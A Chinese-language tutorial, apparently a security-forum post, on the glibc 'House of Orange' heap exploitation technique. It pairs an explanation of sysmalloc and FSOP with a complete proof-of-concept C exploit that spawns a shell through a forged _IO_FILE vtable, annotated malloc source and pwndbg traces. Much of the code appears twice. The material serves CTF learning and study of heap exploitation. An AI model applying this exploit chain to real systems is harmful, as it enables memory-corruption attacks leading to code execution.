-
-
堆利用详解:the house of orange
-
发表于: 2024-1-11 17:10 12885
-
简介部分来自参考资料[0],所有malloc流程性内容全部参考源码进行分析
overflow write
house of orange
可以说是开启了堆与 IO
组合利用的先河,是非常经典、漂亮、精彩的利用组合技。利用过程还要结合 top_chunk
的性质,利用过程如下:
stage1
stage2
实验环境:libc 2.23
首先第一件事是申请一个chunk(0x400),然后模拟溢出,修改top chunk为很小的值
top chunk 通常大小是 0x21000 字节大小,边界是页对齐的,所以修改top chunk size的时候也要注意页对齐,需要满足的条件:
当下一次申请内存的时候,top chunk不够切割的了,就会触发grow机制(后面介绍grow是过程)
grow的结果是对当前top chunk进行一次_int_free
的调用,且创建新的top chunk
触发函数是sysmalloc:
当top chunk大小不够了,就会调用sysmalloc进行处理
该函数里首先检查大小是否达到了需要使用mmap来申请内存的范围mp_.mmap_threshold
大小够了就通过mmap来分配内存
否则就进入gorw的过程:此处是使用main arena的情况,正常会进入如下流程:
首先是一个安全检查:
意味着需要top chunk的大小小于0x1000,还要计算结尾是页面对齐的
另一个检查是:申请大小超过top size
然后是:
这里会扩展堆内存的结束位置,后续计算内存对齐的时候还会调用一次MORECORE
扩展失败会尝试mmap再次进行,扩展成功之后:会设置新的top chunk,然后把原本的top chunk给释放掉
最后就是常规的分割top chunk然后分配了:
修改unsortedbin的bk为_IO_list_all-0x10:
接下来构造_IO_list_all
结构:本例是在内存中直接伪造结构,将目标指针修改成了堆中,在堆中伪造结构
伪造的要点:
最后申请随便一个大小的chunk,让unsortedbin触发断链,然后异常崩溃退出的时候调用_IO_file_list里的jump_table的函数
2.24 开始把vtable指针设置成了只读,且会检查vtable调用的指针是否在vtable所在段,以至于该方法在2.24中失效
本段内容来自ctf wiki[5]
FSOP 是 File Stream Oriented Programming 的缩写,根据前面对 FILE 的介绍得知进程内所有的_IO_FILE 结构会使用_chain 域相互连接形成一个链表,这个链表的头部由_IO_list_all 维护。
FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。
FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。
触发_IO_flush_all_lockp的条件是:
执行_IO_OVERFLOW的条件是:
其中,_IO_list_all 是libc的全局变量,泄露libc地址即可拿到该指针所在地址
利用FSOP需要做的是:
伪造结构:
还有很多重要的细节,在接下来的实例中进行分析
菜单题:
首先是选项1:
主要就2个点:
然后是选项2:
这个就是用来显示信息的
选项3:
主要一个点:堆溢出写
整理当前情况:
程序没有free功能
总共可以执行4次创建(分配内存),每次分配3个chunk
编辑功能存在堆溢出,可以溢出大小可控的那个chunk
在没有free的情况下可以用house of orange创造一个unsortedbin;完成house of orange的利用还需要libc leak 和 heap leak的配合
思路是:
堆布局:
接下来有个细节:第三次申请需要大小为largebin size且大小不等于unsortedbin chunk size!
从这个unsortedbin chunk中申请内存,不会直接触发remainder来切割,而是跳过了这个部分走后续的流程:
只有largebin size的申请才会走这个流程,chunk才有指向堆地址的nextsize指针,所以需要申请一个largebin size!
当申请0x300的时候,堆:
当申请0x500的时候,堆:
通过填充该内存的垃圾数据来完成libc leak
和heap leak
思路:
修改 unsortedbin chunk:
以这个unsortedbin chunk ptr为基础,伪造_IO_list_all
结构,满足以下条件
触发漏洞
经过Unsortedbin Attack,会损坏 Unsortedbin,导致第二次malloc的时候导致程序出错退出,从而触发_IO_flush_all_lockp
在Unsortedbin Attack的时候,会向指针_IO_list_all
写入unsortedbin
在arena
中的地址,此时的_IO_list_all
是指向arena中的地址的,触发奔溃的时候,会从此处开始遍历IO_FILE,并满足条件就调用overflow函数
起始的_IO_list_all
要执行vtable的overflow,需要满足的条件之一就是mode<=0
,arena中的这个位置有时候是负数有时候是正数
如何去寻找下一个FILE结构呢,通过_chain
字段,这是个链表通过_chain连接,该字段刚好位于smallbin 0x60的位置,所以需要在这里填上一个我们伪造的_IO_FILE_plus
结构,那就是刚刚把unsortedbin chunk size修改成0x61的原因
再来回顾一下Unsortedbin Attack的过程:
该chunk是在这个时候进入smallbin的
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
/*
The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer
It requires a leak of the heap and the libc
Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
*/
/*
This function is just present to emulate the scenario where
the address of the function system is known.
*/
int
winner (
char
*ptr);
int
main()
{
/*
The House of Orange starts with the assumption that a buffer overflow exists on the heap
using which the Top (also called the Wilderness) chunk can be corrupted.
At the beginning of execution, the entire heap is part of the Top chunk.
The first allocations are usually pieces of the Top chunk that are broken off to service the request.
Thus, with every allocation, the Top chunks keeps getting smaller.
And in a situation where the size of the Top chunk is smaller than the requested value,
there are two possibilities:
1) Extend the Top chunk
2) Mmap a new page
If the size requested is smaller than 0x21000, then the former is followed.
*/
char
*p1, *p2;
size_t
io_list_all, *top;
fprintf
(stderr,
"The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
"which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n"
);
fprintf
(stderr,
"Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
"https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n"
);
/*
Firstly, lets allocate a chunk on the heap.
*/
p1 =
malloc
(0x400-16);
/*
The heap is usually allocated with a top chunk of size 0x21000
Since we've allocate a chunk of size 0x400 already,
what's left is 0x20c00 with the PREV_INUSE bit set => 0x20c01.
The heap boundaries are page aligned. Since the Top chunk is the last chunk on the heap,
it must also be page aligned at the end.
Also, if a chunk that is adjacent to the Top chunk is to be freed,
then it gets merged with the Top chunk. So the PREV_INUSE bit of the Top chunk is always set.
So that means that there are two conditions that must always be true.
1) Top chunk + size has to be page aligned
2) Top chunk's prev_inuse bit has to be set.
We can satisfy both of these conditions if we set the size of the Top chunk to be 0xc00 | PREV_INUSE.
What's left is 0x20c01
Now, let's satisfy the conditions
1) Top chunk + size has to be page aligned
2) Top chunk's prev_inuse bit has to be set.
*/
top = (
size_t
*) ( (
char
*) p1 + 0x400 - 16);
top[1] = 0xc01;
/*
Now we request a chunk of size larger than the size of the Top chunk.
Malloc tries to service this request by extending the Top chunk
This forces sysmalloc to be invoked.
In the usual scenario, the heap looks like the following
|------------|------------|------...----|
| chunk | chunk | Top ... |
|------------|------------|------...----|
heap start heap end
And the new area that gets allocated is contiguous to the old heap end.
So the new size of the Top chunk is the sum of the old size and the newly allocated size.
In order to keep track of this change in size, malloc uses a fencepost chunk,
which is basically a temporary chunk.
After the size of the Top chunk has been updated, this chunk gets freed.
In our scenario however, the heap looks like
|------------|------------|------..--|--...--|---------|
| chunk | chunk | Top .. | ... | new Top |
|------------|------------|------..--|--...--|---------|
heap start heap end
In this situation, the new Top will be starting from an address that is adjacent to the heap end.
So the area between the second chunk and the heap end is unused.
And the old Top chunk gets freed.
Since the size of the Top chunk, when it is freed, is larger than the fastbin sizes,
it gets added to list of unsorted bins.
Now we request a chunk of size larger than the size of the top chunk.
This forces sysmalloc to be invoked.
And ultimately invokes _int_free
Finally the heap looks like this:
|------------|------------|------..--|--...--|---------|
| chunk | chunk | free .. | ... | new Top |
|------------|------------|------..--|--...--|---------|
heap start new heap end
*/
p2 =
malloc
(0x1000);
/*
Note that the above chunk will be allocated in a different page
that gets mmapped. It will be placed after the old heap's end
Now we are left with the old Top chunk that is freed and has been added into the list of unsorted bins
Here starts phase two of the attack. We assume that we have an overflow into the old
top chunk so we could overwrite the chunk's size.
For the second phase we utilize this overflow again to overwrite the fd and bk pointer
of this chunk in the unsorted bin list.
There are two common ways to exploit the current state:
- Get an allocation in an *arbitrary* location by setting the pointers accordingly (requires at least two allocations)
- Use the unlinking of the chunk for an *where*-controlled write of the
libc's main_arena unsorted-bin-list. (requires at least one allocation)
The former attack is pretty straight forward to exploit, so we will only elaborate
on a variant of the latter, developed by Angelboy in the blog post linked above.
The attack is pretty stunning, as it exploits the abort call itself, which
is triggered when the libc detects any bogus state of the heap.
Whenever abort is triggered, it will flush all the file pointers by calling
_IO_flush_all_lockp. Eventually, walking through the linked list in
_IO_list_all and calling _IO_OVERFLOW on them.
The idea is to overwrite the _IO_list_all pointer with a fake file pointer, whose
_IO_OVERLOW points to system and whose first 8 bytes are set to '/bin/sh', so
that calling _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh').
More about file-pointer exploitation can be found here:
https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/
The address of the _IO_list_all can be calculated from the fd and bk of the free chunk, as they
currently point to the libc's main_arena.
*/
io_list_all = top[2] + 0x9a8;
/*
We plan to overwrite the fd and bk pointers of the old top,
which has now been added to the unsorted bins.
When malloc tries to satisfy a request by splitting this free chunk
the value at chunk->bk->fd gets overwritten with the address of the unsorted-bin-list
in libc's main_arena.
Note that this overwrite occurs before the sanity check and therefore, will occur in any
case.
Here, we require that chunk->bk->fd to be the value of _IO_list_all.
So, we should set chunk->bk to be _IO_list_all - 16
*/
top[3] = io_list_all - 0x10;
/*
At the end, the system function will be invoked with the pointer to this file pointer.
If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh)
*/
memcpy
( (
char
*) top,
"/bin/sh\x00"
, 8);
/*
The function _IO_flush_all_lockp iterates through the file pointer linked-list
in _IO_list_all.
Since we can only overwrite this address with main_arena's unsorted-bin-list,
the idea is to get control over the memory at the corresponding fd-ptr.
The address of the next file pointer is located at base_address+0x68.
This corresponds to smallbin-4, which holds all the smallbins of
sizes between 90 and 98. For further information about the libc's bin organisation
see: https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/
Since we overflow the old top chunk, we also control it's size field.
Here it gets a little bit tricky, currently the old top chunk is in the
unsortedbin list. For each allocation, malloc tries to serve the chunks
in this list first, therefore, iterates over the list.
Furthermore, it will sort all non-fitting chunks into the corresponding bins.
If we set the size to 0x61 (97) (prev_inuse bit has to be set)
and trigger an non fitting smaller allocation, malloc will sort the old chunk into the
smallbin-4. Since this bin is currently empty the old top chunk will be the new head,
therefore, occupying the smallbin[4] location in the main_arena and
eventually representing the fake file pointer's fd-ptr.
In addition to sorting, malloc will also perform certain size checks on them,
so after sorting the old top chunk and following the bogus fd pointer
to _IO_list_all, it will check the corresponding size field, detect
that the size is smaller than MINSIZE "size <= 2 * SIZE_SZ"
and finally triggering the abort call that gets our chain rolling.
Here is the corresponding code in the libc:
https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3717
*/
top[1] = 0x61;
/*
Now comes the part where we satisfy the constraints on the fake file pointer
required by the function _IO_flush_all_lockp and tested here:
https://code.woboq.org/userspace/glibc/libio/genops.c.html#813
We want to satisfy the first condition:
fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
*/
FILE
*fp = (
FILE
*) top;
/*
1. Set mode to 0: fp->_mode <= 0
*/
fp->_mode = 0;
// top+0xc0
/*
2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base
*/
fp->_IO_write_base = (
char
*) 2;
// top+0x20
fp->_IO_write_ptr = (
char
*) 3;
// top+0x28
/*
4) Finally set the jump table to controlled memory and place system there.
The jump table pointer is right after the FILE struct:
base_address+sizeof(FILE) = jump_table
4-a) _IO_OVERFLOW calls the ptr at offset 3: jump_table+0x18 == winner
*/
size_t
*jump_table = &top[12];
// controlled memory
jump_table[3] = (
size_t
) &winner;
*(
size_t
*) ((
size_t
) fp +
sizeof
(
FILE
)) = (
size_t
) jump_table;
// top+0xd8
/* Finally, trigger the whole chain by calling malloc */
malloc
(10);
/*
The libc's error message will be printed to the screen
But you'll get a shell anyways.
*/
return
0;
}
int
winner(
char
*ptr)
{
system
(ptr);
syscall(SYS_exit, 0);
return
0;
}
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
/*
The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer
It requires a leak of the heap and the libc
Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
*/
/*
This function is just present to emulate the scenario where
the address of the function system is known.
*/
int
winner (
char
*ptr);
int
main()
{
/*
The House of Orange starts with the assumption that a buffer overflow exists on the heap
using which the Top (also called the Wilderness) chunk can be corrupted.
At the beginning of execution, the entire heap is part of the Top chunk.
The first allocations are usually pieces of the Top chunk that are broken off to service the request.
Thus, with every allocation, the Top chunks keeps getting smaller.
And in a situation where the size of the Top chunk is smaller than the requested value,
there are two possibilities:
1) Extend the Top chunk
2) Mmap a new page
If the size requested is smaller than 0x21000, then the former is followed.
*/
char
*p1, *p2;
size_t
io_list_all, *top;
fprintf
(stderr,
"The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
"which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n"
);
fprintf
(stderr,
"Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
"https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n"
);
/*
Firstly, lets allocate a chunk on the heap.
*/
p1 =
malloc
(0x400-16);
/*
The heap is usually allocated with a top chunk of size 0x21000
Since we've allocate a chunk of size 0x400 already,
what's left is 0x20c00 with the PREV_INUSE bit set => 0x20c01.
The heap boundaries are page aligned. Since the Top chunk is the last chunk on the heap,
it must also be page aligned at the end.
Also, if a chunk that is adjacent to the Top chunk is to be freed,
then it gets merged with the Top chunk. So the PREV_INUSE bit of the Top chunk is always set.
So that means that there are two conditions that must always be true.
1) Top chunk + size has to be page aligned
2) Top chunk's prev_inuse bit has to be set.
We can satisfy both of these conditions if we set the size of the Top chunk to be 0xc00 | PREV_INUSE.
What's left is 0x20c01
Now, let's satisfy the conditions
1) Top chunk + size has to be page aligned
2) Top chunk's prev_inuse bit has to be set.
*/
top = (
size_t
*) ( (
char
*) p1 + 0x400 - 16);
top[1] = 0xc01;
/*
Now we request a chunk of size larger than the size of the Top chunk.
Malloc tries to service this request by extending the Top chunk
This forces sysmalloc to be invoked.
In the usual scenario, the heap looks like the following
|------------|------------|------...----|
| chunk | chunk | Top ... |
|------------|------------|------...----|
heap start heap end
And the new area that gets allocated is contiguous to the old heap end.
So the new size of the Top chunk is the sum of the old size and the newly allocated size.
In order to keep track of this change in size, malloc uses a fencepost chunk,
which is basically a temporary chunk.
After the size of the Top chunk has been updated, this chunk gets freed.
In our scenario however, the heap looks like
|------------|------------|------..--|--...--|---------|
| chunk | chunk | Top .. | ... | new Top |
|------------|------------|------..--|--...--|---------|
heap start heap end
In this situation, the new Top will be starting from an address that is adjacent to the heap end.
So the area between the second chunk and the heap end is unused.
And the old Top chunk gets freed.
Since the size of the Top chunk, when it is freed, is larger than the fastbin sizes,
it gets added to list of unsorted bins.
Now we request a chunk of size larger than the size of the top chunk.
This forces sysmalloc to be invoked.
And ultimately invokes _int_free
Finally the heap looks like this:
|------------|------------|------..--|--...--|---------|
| chunk | chunk | free .. | ... | new Top |
|------------|------------|------..--|--...--|---------|
heap start new heap end
*/
p2 =
malloc
(0x1000);
/*
Note that the above chunk will be allocated in a different page
that gets mmapped. It will be placed after the old heap's end
Now we are left with the old Top chunk that is freed and has been added into the list of unsorted bins
Here starts phase two of the attack. We assume that we have an overflow into the old
top chunk so we could overwrite the chunk's size.
For the second phase we utilize this overflow again to overwrite the fd and bk pointer
of this chunk in the unsorted bin list.
There are two common ways to exploit the current state:
- Get an allocation in an *arbitrary* location by setting the pointers accordingly (requires at least two allocations)
- Use the unlinking of the chunk for an *where*-controlled write of the
libc's main_arena unsorted-bin-list. (requires at least one allocation)
The former attack is pretty straight forward to exploit, so we will only elaborate
on a variant of the latter, developed by Angelboy in the blog post linked above.
The attack is pretty stunning, as it exploits the abort call itself, which
is triggered when the libc detects any bogus state of the heap.
Whenever abort is triggered, it will flush all the file pointers by calling
_IO_flush_all_lockp. Eventually, walking through the linked list in
_IO_list_all and calling _IO_OVERFLOW on them.
The idea is to overwrite the _IO_list_all pointer with a fake file pointer, whose
_IO_OVERLOW points to system and whose first 8 bytes are set to '/bin/sh', so
that calling _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh').
More about file-pointer exploitation can be found here:
https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/
The address of the _IO_list_all can be calculated from the fd and bk of the free chunk, as they
currently point to the libc's main_arena.
*/
io_list_all = top[2] + 0x9a8;
/*
We plan to overwrite the fd and bk pointers of the old top,
which has now been added to the unsorted bins.
When malloc tries to satisfy a request by splitting this free chunk
the value at chunk->bk->fd gets overwritten with the address of the unsorted-bin-list
in libc's main_arena.
Note that this overwrite occurs before the sanity check and therefore, will occur in any
case.
Here, we require that chunk->bk->fd to be the value of _IO_list_all.
So, we should set chunk->bk to be _IO_list_all - 16
*/
top[3] = io_list_all - 0x10;
/*
At the end, the system function will be invoked with the pointer to this file pointer.
If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh)
*/
memcpy
( (
char
*) top,
"/bin/sh\x00"
, 8);
/*
The function _IO_flush_all_lockp iterates through the file pointer linked-list
in _IO_list_all.
Since we can only overwrite this address with main_arena's unsorted-bin-list,
the idea is to get control over the memory at the corresponding fd-ptr.
The address of the next file pointer is located at base_address+0x68.
This corresponds to smallbin-4, which holds all the smallbins of
sizes between 90 and 98. For further information about the libc's bin organisation
see: https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/
Since we overflow the old top chunk, we also control it's size field.
Here it gets a little bit tricky, currently the old top chunk is in the
unsortedbin list. For each allocation, malloc tries to serve the chunks
in this list first, therefore, iterates over the list.
Furthermore, it will sort all non-fitting chunks into the corresponding bins.
If we set the size to 0x61 (97) (prev_inuse bit has to be set)
and trigger an non fitting smaller allocation, malloc will sort the old chunk into the
smallbin-4. Since this bin is currently empty the old top chunk will be the new head,
therefore, occupying the smallbin[4] location in the main_arena and
eventually representing the fake file pointer's fd-ptr.
In addition to sorting, malloc will also perform certain size checks on them,
so after sorting the old top chunk and following the bogus fd pointer
to _IO_list_all, it will check the corresponding size field, detect
that the size is smaller than MINSIZE "size <= 2 * SIZE_SZ"
and finally triggering the abort call that gets our chain rolling.
Here is the corresponding code in the libc:
https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3717
*/
top[1] = 0x61;
/*
Now comes the part where we satisfy the constraints on the fake file pointer
required by the function _IO_flush_all_lockp and tested here:
https://code.woboq.org/userspace/glibc/libio/genops.c.html#813
We want to satisfy the first condition:
fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
*/
FILE
*fp = (
FILE
*) top;
/*
1. Set mode to 0: fp->_mode <= 0
*/
fp->_mode = 0;
// top+0xc0
/*
2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base
*/
fp->_IO_write_base = (
char
*) 2;
// top+0x20
fp->_IO_write_ptr = (
char
*) 3;
// top+0x28
/*
4) Finally set the jump table to controlled memory and place system there.
The jump table pointer is right after the FILE struct:
base_address+sizeof(FILE) = jump_table
4-a) _IO_OVERFLOW calls the ptr at offset 3: jump_table+0x18 == winner
*/
size_t
*jump_table = &top[12];
// controlled memory
jump_table[3] = (
size_t
) &winner;
*(
size_t
*) ((
size_t
) fp +
sizeof
(
FILE
)) = (
size_t
) jump_table;
// top+0xd8
/* Finally, trigger the whole chain by calling malloc */
malloc
(10);
/*
The libc's error message will be printed to the screen
But you'll get a shell anyways.
*/
return
0;
}
int
winner(
char
*ptr)
{
system
(ptr);
syscall(SYS_exit, 0);
return
0;
}
pwndbg> top_chunk
Top chunk | PREV_INUSE
Addr: 0x602400
Size: 0xc00 (with flag bits: 0xc01)
pwndbg> top_chunk
Top chunk | PREV_INUSE
Addr: 0x602400
Size: 0xc00 (with flag bits: 0xc01)
pwndbg> bin
fastbins
empty
unsortedbin
all: 0x602400 —▸ 0x7ffff7fcbb78 (main_arena+88) ◂— 0x602400
smallbins
empty
largebins
empty
pwndbg> top_chunk
Top chunk | PREV_INUSE
Addr: 0x624010
Size: 0x20ff0 (with flag bits: 0x20ff1)
pwndbg> bin
fastbins
empty
unsortedbin
all: 0x602400 —▸ 0x7ffff7fcbb78 (main_arena+88) ◂— 0x602400
smallbins
empty
largebins
empty
pwndbg> top_chunk
Top chunk | PREV_INUSE
Addr: 0x624010
Size: 0x20ff0 (with flag bits: 0x20ff1)
{
void
*p = sysmalloc(nb, av);
if
(p != NULL)
alloc_perturb(p, bytes);
return
p;
}
{
void
*p = sysmalloc(nb, av);
if
(p != NULL)
alloc_perturb(p, bytes);
return
p;
}
//
安全检查:需要old_size至少是MINSIZE,并且有prev_inuse设置
//
需要old
top
满足要求,大小正常,标志位正常
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long)(old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & (pagesize - 1)) == 0));
/* Precondition: not enough current space to satisfy nb request */
//
没有足够的空间用于申请分配内存
assert((unsigned long)(old_size) < (unsigned long)(nb + MINSIZE));
//
安全检查:需要old_size至少是MINSIZE,并且有prev_inuse设置
//
需要old
top
满足要求,大小正常,标志位正常
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long)(old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & (pagesize - 1)) == 0));
/* Precondition: not enough current space to satisfy nb request */
//
没有足够的空间用于申请分配内存
assert((unsigned long)(old_size) < (unsigned long)(nb + MINSIZE));
//
正常情况下调用MORECORE处理size
if
(size > 0)
//
大小不离谱的话,进入
{
//
brk是堆空间结束地址,调用MORECORE去扩展结束地址指定大小
brk = (char *)(MORECORE(size));
//
扩展堆地址
if
(brk != (char *)(MORECORE_FAILURE))
//
处理巨型透明页相关
madvise_thp(brk, size);
LIBC_PROBE(memory_sbrk_more, 2, brk, size);
}
//
正常情况下调用MORECORE处理size
if
(size > 0)
//
大小不离谱的话,进入
{
//
brk是堆空间结束地址,调用MORECORE去扩展结束地址指定大小
brk = (char *)(MORECORE(size));
//
扩展堆地址
if
(brk != (char *)(MORECORE_FAILURE))
//
处理巨型透明页相关
madvise_thp(brk, size);
LIBC_PROBE(memory_sbrk_more, 2, brk, size);
}
/* Adjust
top
based on results of second sbrk */
//
基于第二次sbrk的结果调整
top
if
(snd_brk != (char *)(MORECORE_FAILURE))
{
//
设置
top
指针
av->
top
= (mchunkptr)aligned_brk;
//
设置
top
hdr
set_head(av->
top
, (snd_brk - aligned_brk + correction) | PREV_INUSE);
//
设置新的系统内存
av->system_mem += correction;
/*
If not the first
time
through, we either have a
gap due to foreign sbrk or a non-contiguous region. Insert a
double fencepost at old_top to prevent consolidation with space
we don't own. These fenceposts are artificial chunks that are
marked as inuse and are
in
any
case
too small to use. We need
two to
make
sizes and alignments work out.
*/
//
如果old size还有值,没用光,就释放掉old
top
if
(old_size != 0)
{
/*
Shrink old_top to insert fenceposts, keeping size a
multiple of MALLOC_ALIGNMENT. We know there is at least
enough space
in
old_top to
do
this.
*/
//
收缩old
top
old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK;
set_head(old_top, old_size | PREV_INUSE);
/*
Note that the following assignments completely overwrite
old_top when old_size was previously MINSIZE. This is
intentional. We need the fencepost, even
if
old_top otherwise gets
lost.
*/
//
设置old
top
的next chunk为合适的值,用于后续进行释放
top
chunk的操作
set_head(chunk_at_offset(old_top, old_size),
CHUNK_HDR_SZ | PREV_INUSE);
set_head(chunk_at_offset(old_top,
old_size + CHUNK_HDR_SZ),
CHUNK_HDR_SZ | PREV_INUSE);
/* If possible, release the rest. */
//
old size,就释放掉old
top
if
(old_size >= MINSIZE)
{
//
释放old
top
_int_free(av, old_top, 1);
}
}
}
/* Adjust
top
based on results of second sbrk */
//
基于第二次sbrk的结果调整
top
if
(snd_brk != (char *)(MORECORE_FAILURE))
{
//
设置
top
指针
av->
top
= (mchunkptr)aligned_brk;
//
设置
top
hdr
set_head(av->
top
, (snd_brk - aligned_brk + correction) | PREV_INUSE);
//
设置新的系统内存
av->system_mem += correction;
/*
If not the first
time
through, we either have a
gap due to foreign sbrk or a non-contiguous region. Insert a
double fencepost at old_top to prevent consolidation with space
we don't own. These fenceposts are artificial chunks that are
marked as inuse and are
in
any
case
too small to use. We need
two to
make
sizes and alignments work out.
*/
//
如果old size还有值,没用光,就释放掉old
top
if
(old_size != 0)
{
/*
Shrink old_top to insert fenceposts, keeping size a
multiple of MALLOC_ALIGNMENT. We know there is at least
enough space
in
old_top to
do
this.
*/
//
收缩old
top
old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK;
set_head(old_top, old_size | PREV_INUSE);
/*
Note that the following assignments completely overwrite
old_top when old_size was previously MINSIZE. This is
intentional. We need the fencepost, even
if
old_top otherwise gets
lost.
*/
//
设置old
top
的next chunk为合适的值,用于后续进行释放
top
chunk的操作
set_head(chunk_at_offset(old_top, old_size),
CHUNK_HDR_SZ | PREV_INUSE);
set_head(chunk_at_offset(old_top,
old_size + CHUNK_HDR_SZ),
CHUNK_HDR_SZ | PREV_INUSE);
/* If possible, release the rest. */
//
old size,就释放掉old
top
if
(old_size >= MINSIZE)
{
//
释放old
top
_int_free(av, old_top, 1);
}
}
}
//
如果更新后的系统内存大于av原本的最大,就设置当前为最大值
if
((unsigned long)av->system_mem > (unsigned long)(av->max_system_mem))
av->max_system_mem = av->system_mem;
check_malloc_state(av);
/* finally,
do
the allocation */
//
进行申请内存操作,此时已经扩展好了
top
chunk
p = av->
top
;
size = chunksize(p);
/* check that one of the above allocation paths succeeded */
//
扩展后的
top
大小应该超过申请内存的大小
if
((unsigned long)(size) >= (unsigned long)(nb + MINSIZE))
{
//
切割
top
chunk,分配内存
remainder_size = size - nb;
remainder = chunk_at_offset(p, nb);
av->
top
= remainder;
set_head(p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
check_malloced_chunk(av, p, nb);
return
chunk2mem(p);
}
/* catch all failure paths */
__set_errno(ENOMEM);
return
0;
}
//
如果更新后的系统内存大于av原本的最大,就设置当前为最大值
if
((unsigned long)av->system_mem > (unsigned long)(av->max_system_mem))
av->max_system_mem = av->system_mem;
check_malloc_state(av);
/* finally,
do
the allocation */
//
进行申请内存操作,此时已经扩展好了
top
chunk
p = av->
top
;
size = chunksize(p);
/* check that one of the above allocation paths succeeded */
//
扩展后的
top
大小应该超过申请内存的大小
if
((unsigned long)(size) >= (unsigned long)(nb + MINSIZE))
{
//
切割
top
chunk,分配内存
remainder_size = size - nb;
remainder = chunk_at_offset(p, nb);
av->
top
= remainder;
set_head(p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
check_malloced_chunk(av, p, nb);
return
chunk2mem(p);
}
/* catch all failure paths */
__set_errno(ENOMEM);
return
0;
}
pwndbg> x/g 0x7ffff7fcc520
0x7ffff7fcc520 <__GI__IO_list_all>: 0x00007ffff7fcc540
pwndbg> bin
fastbins
empty
unsortedbin
all [corrupted]
FD: 0x602400 —▸ 0x7ffff7fcbb78 (main_arena+88) ◂— 0x602400
BK: 0x602400 —▸ 0x7ffff7fcc510 ◂— 0x0
smallbins
empty
largebins
empty
pwndbg> x/g 0x7ffff7fcc520
0x7ffff7fcc520 <__GI__IO_list_all>: 0x00007ffff7fcc540
pwndbg> bin
fastbins
empty
unsortedbin
all [corrupted]
FD: 0x602400 —▸ 0x7ffff7fcbb78 (main_arena+88) ◂— 0x602400
BK: 0x602400 —▸ 0x7ffff7fcc510 ◂— 0x0
smallbins
empty
largebins
empty
pwndbg> dt
"struct _IO_FILE_plus"
0x602400
struct
_IO_FILE_plus @ 0x602400
+0x0000 file : {
_flags = 1852400175,
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
_IO_read_end = 0x7ffff7fcbb78 <main_arena+88>
"\020@b"
,
_IO_read_base = 0x7ffff7fcc510
""
,
_IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
_IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 4196319,
_cur_column = 0,
_vtable_offset = 0
'\000'
,
_shortbuf =
""
,
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 =
'\000'
<repeats 19 times>
}
+0x00d8 vtable : 0x602460
pwndbg> dt
"struct _IO_FILE_plus"
0x602400
struct
_IO_FILE_plus @ 0x602400
+0x0000 file : {
_flags = 1852400175,
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
_IO_read_end = 0x7ffff7fcbb78 <main_arena+88>
"\020@b"
,
_IO_read_base = 0x7ffff7fcc510
""
,
_IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
_IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
